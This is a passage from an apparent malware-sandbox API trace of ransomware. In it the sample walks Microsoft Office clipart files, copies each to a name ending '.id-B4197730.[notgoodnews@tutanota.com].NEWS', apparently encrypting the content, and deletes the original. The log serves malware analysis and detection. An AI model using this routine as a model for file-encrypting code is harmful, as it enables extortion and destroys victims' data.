[0090.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.032] lstrlenW (lpString=".rar") returned 4 [0090.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString=".bz2") returned 4 [0090.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString=".7z") returned 3 [0090.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.032] lstrlenW (lpString=".dbf") returned 4 [0090.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.033] lstrlenW (lpString=".1cd") returned 4 [0090.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.033] lstrlenW (lpString=".jpg") returned 4 [0090.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.033] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.033] lstrlenW (lpString="J0086420.WMF") returned 12 [0090.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.033] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9596) returned 1 [0090.033] CloseHandle (hObject=0x378) returned 1 [0090.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0090.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.034] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.034] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.034] GetLastError () returned 0x0 [0090.034] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x257c, lpOverlapped=0x0) returned 1 [0090.036] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2580, lpOverlapped=0x0) returned 1 [0090.037] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.037] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.037] SetEndOfFile (hFile=0x330) returned 1 [0090.037] CloseHandle (hObject=0x330) returned 1 [0090.037] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.037] SetEndOfFile (hFile=0x378) returned 1 [0090.038] CloseHandle (hObject=0x378) returned 1 [0090.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0090.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.038] lstrlenW (lpString=".doc") returned 4 [0090.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString=".docx") returned 5 [0090.039] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0090.039] lstrlenW (lpString=".pdf") returned 4 [0090.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString=".xls") returned 4 [0090.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.039] lstrlenW (lpString=".xlsx") returned 5 [0090.039] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0090.039] lstrlenW (lpString=".ppt") returned 4 [0090.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.039] lstrlenW (lpString=".zip") returned 4 [0090.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.039] lstrlenW (lpString=".rar") returned 4 [0090.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString=".bz2") returned 4 [0090.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString=".7z") returned 3 [0090.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.039] lstrlenW (lpString=".dbf") returned 4 [0090.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.039] lstrlenW (lpString=".1cd") returned 4 [0090.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.039] lstrlenW (lpString=".jpg") returned 4 [0090.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.039] lstrlenW (lpString=".doc") returned 4 [0090.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.039] lstrlenW (lpString=".docx") returned 5 [0090.039] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0090.039] lstrlenW (lpString=".pdf") returned 4 [0090.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.040] lstrlenW (lpString=".xls") returned 4 [0090.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.040] lstrlenW (lpString=".xlsx") returned 5 [0090.040] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0090.040] lstrlenW (lpString=".ppt") returned 4 [0090.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.040] lstrlenW (lpString=".zip") returned 4 [0090.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.040] lstrlenW (lpString=".rar") returned 4 [0090.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.040] lstrlenW (lpString=".bz2") returned 4 [0090.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.040] lstrlenW (lpString=".7z") returned 3 [0090.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.040] lstrlenW (lpString=".dbf") returned 4 [0090.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.040] lstrlenW (lpString=".1cd") returned 4 [0090.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0090.040] lstrlenW (lpString=".jpg") returned 4 [0090.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.040] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.040] lstrlenW (lpString="J0086424.WMF") returned 12 [0090.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.041] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=17016) returned 1 [0090.041] CloseHandle (hObject=0x378) returned 1 [0090.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0090.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.041] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.042] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.042] GetLastError () returned 0x0 [0090.042] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4278, lpOverlapped=0x0) returned 1 [0090.044] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4280, lpOverlapped=0x0) returned 1 [0090.045] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.045] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.045] SetEndOfFile (hFile=0x330) returned 1 [0090.045] CloseHandle (hObject=0x330) returned 1 [0090.045] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.045] SetEndOfFile (hFile=0x378) returned 1 [0090.046] CloseHandle (hObject=0x378) returned 1 [0090.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0090.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.047] lstrlenW (lpString=".doc") returned 4 [0090.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.047] lstrlenW (lpString=".docx") returned 5 [0090.047] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0090.047] lstrlenW (lpString=".pdf") returned 4 [0090.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.047] lstrlenW (lpString=".xls") returned 4 [0090.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.047] lstrlenW (lpString=".xlsx") returned 5 [0090.047] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0090.047] lstrlenW (lpString=".ppt") returned 4 [0090.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.047] lstrlenW (lpString=".zip") returned 4 [0090.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.047] lstrlenW (lpString=".rar") returned 4 [0090.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.047] lstrlenW (lpString=".bz2") returned 4 [0090.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.047] lstrlenW (lpString=".7z") returned 3 [0090.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.047] lstrlenW (lpString=".dbf") returned 4 [0090.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.047] lstrlenW (lpString=".1cd") returned 4 [0090.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.048] lstrlenW (lpString=".jpg") returned 4 [0090.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.048] lstrlenW (lpString=".doc") returned 4 [0090.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString=".docx") returned 5 [0090.048] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0090.048] lstrlenW (lpString=".pdf") returned 4 [0090.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString=".xls") returned 4 [0090.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.048] lstrlenW (lpString=".xlsx") returned 5 [0090.048] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0090.048] lstrlenW (lpString=".ppt") returned 4 [0090.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.048] lstrlenW (lpString=".zip") returned 4 [0090.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.048] lstrlenW (lpString=".rar") returned 4 [0090.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString=".bz2") returned 4 [0090.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString=".7z") returned 3 [0090.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.048] lstrlenW (lpString=".dbf") returned 4 [0090.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.048] lstrlenW (lpString=".1cd") returned 4 [0090.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0090.048] lstrlenW (lpString=".jpg") returned 4 [0090.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.049] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.049] lstrlenW (lpString="J0086426.WMF") returned 12 [0090.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.049] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=21782) returned 1 [0090.049] CloseHandle (hObject=0x378) returned 1 [0090.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0090.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.049] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.050] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.050] GetLastError () returned 0x0 [0090.050] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x5516, lpOverlapped=0x0) returned 1 [0090.629] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x5520, lpOverlapped=0x0) returned 1 [0090.631] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.631] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.631] SetEndOfFile (hFile=0x330) returned 1 [0090.631] CloseHandle (hObject=0x330) returned 1 [0090.631] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.631] SetEndOfFile (hFile=0x378) returned 1 [0090.632] CloseHandle (hObject=0x378) returned 1 [0090.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0090.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.632] lstrlenW (lpString=".doc") returned 4 [0090.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.632] lstrlenW (lpString=".docx") returned 5 [0090.632] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0090.632] lstrlenW (lpString=".pdf") returned 4 [0090.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString=".xls") returned 4 [0090.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.633] lstrlenW (lpString=".xlsx") returned 5 [0090.633] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0090.633] lstrlenW (lpString=".ppt") returned 4 [0090.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.633] lstrlenW (lpString=".zip") returned 4 [0090.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.633] lstrlenW (lpString=".rar") returned 4 [0090.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString=".bz2") returned 4 [0090.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString=".7z") returned 3 [0090.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.633] lstrlenW (lpString=".dbf") returned 4 [0090.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.633] lstrlenW (lpString=".1cd") returned 4 [0090.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.633] lstrlenW (lpString=".jpg") returned 4 [0090.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.633] lstrlenW (lpString=".doc") returned 4 [0090.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString=".docx") returned 5 [0090.633] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0090.633] lstrlenW (lpString=".pdf") returned 4 [0090.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.633] lstrlenW (lpString=".xls") returned 4 [0090.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.633] lstrlenW (lpString=".xlsx") returned 5 [0090.633] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0090.634] lstrlenW (lpString=".ppt") returned 4 [0090.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.634] lstrlenW (lpString=".zip") returned 4 [0090.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.634] lstrlenW (lpString=".rar") returned 4 [0090.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.634] lstrlenW (lpString=".bz2") returned 4 [0090.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.634] lstrlenW (lpString=".7z") returned 3 [0090.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.634] lstrlenW 